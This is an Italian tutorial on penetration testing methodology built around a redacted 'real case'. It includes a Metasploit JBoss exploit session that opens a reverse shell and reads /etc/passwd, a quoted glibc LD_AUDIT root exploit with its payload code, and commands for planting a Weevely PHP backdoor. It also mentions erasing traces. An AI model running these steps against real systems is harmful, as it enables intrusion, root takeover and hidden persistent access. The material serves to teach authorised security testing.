In questo articolo vedremo come condurre un Penetration Test, analizzando un caso reale. Nello specifico verranno trattate le varie fasi, dalla raccolta delle informazioni alla stesura di un report, fornendo esempi pratici sulla metodologia applicata e i tools utilizzati.
Introduzione
L'interesse per la sicurezza dei sistemi informatici è cresciuto negli ultimi anni proporzionalmente alla loro diffusione. Sempre più spesso grandi aziende sono alla ricerca di "Hacker Etici" da assumere ed impiegare al fine di scongiurare minacce derivanti da attacchi informatici. La tendenza è affidarsi alle competenze di chi ben conosce le varie tecniche di attacco per poterne prevedere ed ostacolare le mosse.
L'obiettivo primario è garantire che l'informazione rimanga integra ed accessibile, nei tempi previsti, ai soli utenti che ne hanno facoltà. Il sistema informatico deve essere in grado d'impedire l'accesso abusivo ai dati e l'alterazione delle informazioni, sia da parte di utenti non autorizzati che da eventi accidentali. Vari fattori contribuiscono al raggiungimento di tale fine: la robustezza del software di base e applicativo, l'affidabilità hardware dei dispositivi e il fattore umano.
Penetration Tester
Il Penetration Tester o Auditor è colui che svolge l'attività di verifica della sicurezza dei sistemi informatici, nella sua analisi opera con le stesse logiche utilizzate da un Hacker. Il fine è ottenere l'accesso ad informazioni riservate o il controllo del sistema remoto con l'ausilio di strumenti automatici o basandosi semplicemente sulle proprie capacità e conoscenze.
Metodologie
Le metodologie adottate hanno il comune obiettivo di fornire una conoscenza dettagliata sullo stato di sicurezza dei sistemi informatici presi in esame e permettono di:
- verificare che non sia possibile ottenere accessi non autorizzati a sistemi ed informazioni;
- valutare se, per un utente con privilegi minimi, sia possibile accedere ad informazioni per le quali non ha l'autorizzazione necessaria;
- verificare che un determinato software (es. una web application) non contenga vulnerabilità tali da permettere, ad un malintenzionato, di ottenere accessi non autorizzati a dati e servizi riservati.
Durante i penetration test (PT) vengono effettuate delle vere e proprie simulazioni di intrusione, ipotizzando diversi scenari di attacco e combinando tecniche manuali all'utilizzo di strumenti automatici.
Fasi di un attacco
Possiamo riassumere l'intera attività di penetration testing in sei fasi principali:
- Information Gathering;
- Vulnerability Assessment;
- Exploitation;
- Privilege Escalation;
- Maintaining Access;
- Reporting;
Ogni fase ha il suo obiettivo. L'Information Gathering o raccolta delle informazioni permette all'attaccante di acquisire dati utili, dall'architettura della piattaforma, ai servizi offerti, ecc. L'analisi di questi dati porterà alla scelta di come condurre il passo successivo.
L'attività di Vulnerability Assessment (VA) permette di avere un quadro completo dello stato di esposizione dei propri sistemi a tutte le vulnerabilità note. A tale scopo vengono utilizzati tools automatici che grazie alla loro velocità di scansione permettono di testare in breve tempo un numero estremamente ampio di servizi.
Con il termine exploit si identifica una tipologia di attacco che sfrutta una particolare vulnerabilità che può portare ad acquisire privilegi sul computer bersaglio o alla negazione di servizio (DoS). Gli exploit possono essere classificati a seconda del tipo di vulnerabilità che sfruttano. Più in generale avremo un exploit remoto se compiuto attraverso la rete e un exploit locale se si opera su un computer con privilegi limitati impostati dall'amministratore. In questa fase vi è il primo vero accesso non autorizzato.
Ottenuto l'accesso ad un servizio, è utile verificare se è possibile innalzare i propri privilegi (Privilege Escalation). Questo può avvenire in diversi modi, sniffando i pacchetti che transitano nella rete o semplicemente cercando di ottenere le password in chiaro di un utente amministratore.
Violato il sistema è comodo mantenere l'accesso (Maintaining Access) in modo da poter operare in un secondo momento anche da remoto e senza ripetere l'intero hack. A tale scopo è solito installare una backdoor o una web-shell che ci permetterà di avere un controllo immediato del sistema.
L'attività si conclude con la pulizia delle tracce e con la stesura di un report dettagliato sulle vulnerabilità riscontrate, l'analisi dell'impatto di rischio ed eventualmente una possibile soluzione tecnica al problema.
Analisi di un caso reale
Ci troviamo ad operare da remoto per verificare il livello di sicurezza di una grande azienda. L'analisi viene svolta, a fronte di un accordo con il committente, da parte del penetration tester. In base alla quantità di informazioni disponibili si identificano diversi scenari. Il modello adottato sarà di tipo "Black Box" il quale non presuppone alcuna conoscenza dell'infrastruttura oggetto di analisi, tutte le informazioni dovranno essere ricavate prima di iniziare i vari test.
L'analisi verrà svolta utilizzando BackBox Linux, una distribuzione orientata al penetration testing. Il vantaggio derivante dall'uso di uno strumento simile è nell'avere un sistema operativo flessibile ed ottimizzato per condurre vari test di sicurezza. Al suo interno troverete già pronti all'uso tutti i tools citati in questo articolo.
Figura 1. BackBox
(clic per ingrandire)
NOTA: Le informazioni che seguono sono state rielaborate ed adattate alla pubblicazione per uso didattico, nessun dato o informazione sensibile è presente in questo articolo.
Information Gathering
L'attività di penetration test inizia con la raccolta delle informazioni, conoscendo l'url del sito aziendale è possibile risalire all'indirizzo IP del server (informazione essenziale per iniziare la nostra analisi):
$ host www.nomesito.it www.nomesito.it has address 150.xxx.xxx.10
Ottenuta questa informazione ci serviremo di Maltego, un utile programma che ci aiuterà a tracciare uno schema completo e dettagliato sulla natura della rete da prendere in esame.
Figura 2. Maltego
(clic per ingrandire)
I dati raccolti sono di pubblico dominio. Possiamo integrare ulteriori informazioni servendoci di un comune browser e dei servizi gratuiti messi a disposizione dai motori di ricerca (Google, Bing, ecc.)
Vulnerability Assessment
La precedente fase di raccolta delle informazioni ci ha portato a definire il range di indirizzi IP assegnati all'azienda (150.xxx.xxx.0 - 150.xxx.xxx.255). Possiamo dunque procedere ad una analisi automatizzata dei servizi attivi su ogni singolo host. Ci serviremo di OpenVAS, un framework per la scansione automatizzata delle vulnerabilità.
Dal menu "Services" di BackBox selezioniamo "openvas", aggiorneremo prima la lista dei plugins con "openvas-services update" ed avvieremo i vari servizi con "openvas-services start". OpenVAS fa uso di una interfaccia web, per avviarla dal menu "Auditing" selezioneremo "Vulnerability Assessment" > "Network Vulnerability Scanners" > "OpenVAS GSA".
Figura 3. OpenVAS
(clic per ingrandire)
L'uso di questo scanner ci fornirà un report dettagliato dei servizi attivi per ogni singolo host e quali di questi sono potenzialmente vulnerabili. Sta a noi selezionare tra le possibili vulnerabilità il target adatto.
La nostra analisi si concentrerà su un host su cui è attivo Jboss, un application server open source multi piattaforma che implementa l'intera suite di servizi Java EE. Verificando online l'effettiva presenza di un exploit per questo tipo di servizio (Exploitdb oppure 1337day.com) procediamo alla fase successiva...
Martedì 1 novembre 2011 pubblicheremo la seconda parte dell'articolo
Exploitation
Cercheremo ora di mettere in pratica l'exploit relativo a Jboss e per farlo utilizzeremo Metasploit, un Framework davvero molto versatile, uno utile strumento per chi opera nel campo della sicurezza informatica. Al suo interno raccoglie diverse utility e centinaia di exploits. È possibile avviare MSF direttamente dal menu "Auditing" di BackBox: "Exploitation" > "Network Assessment" > "MSF". Dopo aver aggiornato il programma con "msfupdate" avvieremo "msfconsole". Segue l'output della nostra interazione con il programma:
$ msfconsole
| | _) |
__ `__ _ __| _` | __| __ | _ | __|
| | | __/ | ( |__ | | | ( | | |
_| _| _|___|__|__,_|____/ .__/ _|___/ _|__|
_|
=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 670 exploits - 348 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
msf > use multi/http/jboss_bshdeployer
msf exploit(jboss_bshdeployer) > set RHOST 150.xxx.xxx.160
RHOST => 150.xxx.xxx.160
msf exploit(jboss_bshdeployer) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline
java/jsp_shell_bind_tcp normal Java JSP Command Shell, Bind TCP Inline
java/jsp_shell_reverse_tcp normal Java JSP Command Shell, Reverse TCP Inline
msf exploit(jboss_bshdeployer) > set PAYLOAD java/jsp_shell_reverse_tcp
PAYLOAD => java/jsp_shell_reverse_tcp
msf exploit(jboss_bshdeployer) > show options
Module options (exploit/multi/http/jboss_bshdeployer):
Name Current Setting Required Description
---- --------------- -------- -----------
APPBASE no Application base name, (default: random)
JSP no JSP name to use without .jsp extension (default: random)
PACKAGE auto yes The package containing the BSHDeployer service
PASSWORD no The password for the specified username
PATH /jmx-console yes The URI path of the JMX console
Proxies no Use a proxy chain
RHOST 150.xxx.xxx.160 yes The target address
RPORT 8080 yes The target port
SHELL auto no The system shell to use
USERNAME no The username to authenticate as
VERB POST yes The HTTP verb to use (for CVE-2010-0738)
VHOST no HTTP server virtual host
Payload options (java/jsp_shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address
LPORT 4444 yes The listen port
SHELL auto yes The system shell to use.
Exploit target:
Id Name
-- ----
0 Universal
msf exploit(jboss_bshdeployer) > set LHOST xxx.xxx.xxx.xxx
LHOST => xxx.xxx.xxx.xxx
msf exploit(jboss_bshdeployer) > exploit
[-] Handler failed to bind to xxx.xxx.xxx.xxx:4444
[*] Started reverse handler on 0.0.0.0:4444
[*] Attempting to automatically detect the platform...
[*] SHELL set to /bin/sh
[*] Creating exploded WAR in deploy/IVpEzfBfnEA.war/ dir via BSHDeployer
[*] Attempting to use 'deployer' as package
[*] Executing /IVpEzfBfnEA/fuTcY8WPzHTV.jsp...
[-] Execution failed on /IVpEzfBfnEA/fuTcY8WPzHTV.jsp [404 /IVpEzfBfnEA/fuTcY8WPzHTV.jsp], retrying in 5 seconds...
[+] Successfully triggered payload at '/IVpEzfBfnEA/fuTcY8WPzHTV.jsp'
[*] Undeploying /IVpEzfBfnEA/fuTcY8WPzHTV.jsp by deleting the WAR file via BSHDeployer...
[*] Command shell session 1 opened (192.168.1.2:4444 -> 150.xxx.xxx.160:48104)
ls /
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:113:MySQL Server,,,:/var/lib/mysql:/bin/false
jboss4:x:1002:1002::/home/jboss4:/bin/bash
A questo punto abbiamo accesso al sistema tramite una shell remota. Sarà possibile compiere qualsiasi azione con i permessi dell'utente "jboss4".
Privilege Escalation
È sempre utile verificare la versione del kernel e del sistema operativo installato e ricercare ulteriori exploit che ci permettano di ottenere i permessi di root sul server remoto.
Nel nostro caso abbiamo verificato la presenza del seguente exploit: The GNU C library dynamic linker expands $ORIGIN in setuid library search path
Riporto di seguito i passi per effettuare l'hack (estratto dalla documentazione originale in lingua inglese):
It is possible to exploit this flaw to execute arbitrary code as root.
Please note, this is a low impact vulnerability that is only of interest to
security professionals and system administrators. End users do not need
to be concerned.
Exploitation would look like the following.
# Create a directory in /tmp we can control.
$ mkdir /tmp/exploit
# Link to an suid binary, thus changing the definition of $ORIGIN.
$ ln /bin/ping /tmp/exploit/target
# Open a file descriptor to the target binary (note: some users are surprised
# to learn exec can be used to manipulate the redirections of the current
# shell if a command is not specified. This is what is happening below).
$ exec 3< /tmp/exploit/target
# This descriptor should now be accessible via /proc.
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*
# Remove the directory previously created
$ rm -rf /tmp/exploit/
# The /proc link should still exist, but now will be marked deleted.
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)
# Replace the directory with a payload DSO, thus making $ORIGIN a valid target to dlopen().
$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*
# Now force the link in /proc to load $ORIGIN via LD_AUDIT.
$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=500(taviso)
Maintaining Access
Ottenuto l'accesso "root" è possibile caricare una backdoor che ci permetterà di accedere successivamente al sistema. A tale scopo utilizzeremo Weevely, uno strumento che ci permette di creare e gestire un trojan PHP progettato per essere difficilmente individuabile.
Dal menu "Auditing" di BackBox selezioneremo: "Maintaining Access" > "Backdoors" > "weevely". Per generare la backdoor:
$ weevely -g -o /tmp/weevely.php -p password $ cat /tmp/weevely.php
Dopo aver caricato la backdoor sul server remoto sarà possibile accedervi digitando semplicemente:
$ weevely -t -u http://www.nomesito.it/path/weevely.php -p password
Reporting
Durante l'intero processo di analisi e verifica delle vulnerabilità è comodo utilizzare strumenti per la condivisione delle informazioni e la creazione di un report. In BackBox è disponibile Dradis, un framework open source sviluppato per tale scopo.
Installazione da repository:
sudo apt-get update sudo apt-get install dradis
Figura 4. Dradis
(clic per ingrandire)
Per ulteriori informazioni, sull'uso e configurazione degli strumenti presenti in BackBox Linux vi rimando al wiki ufficiale del progetto
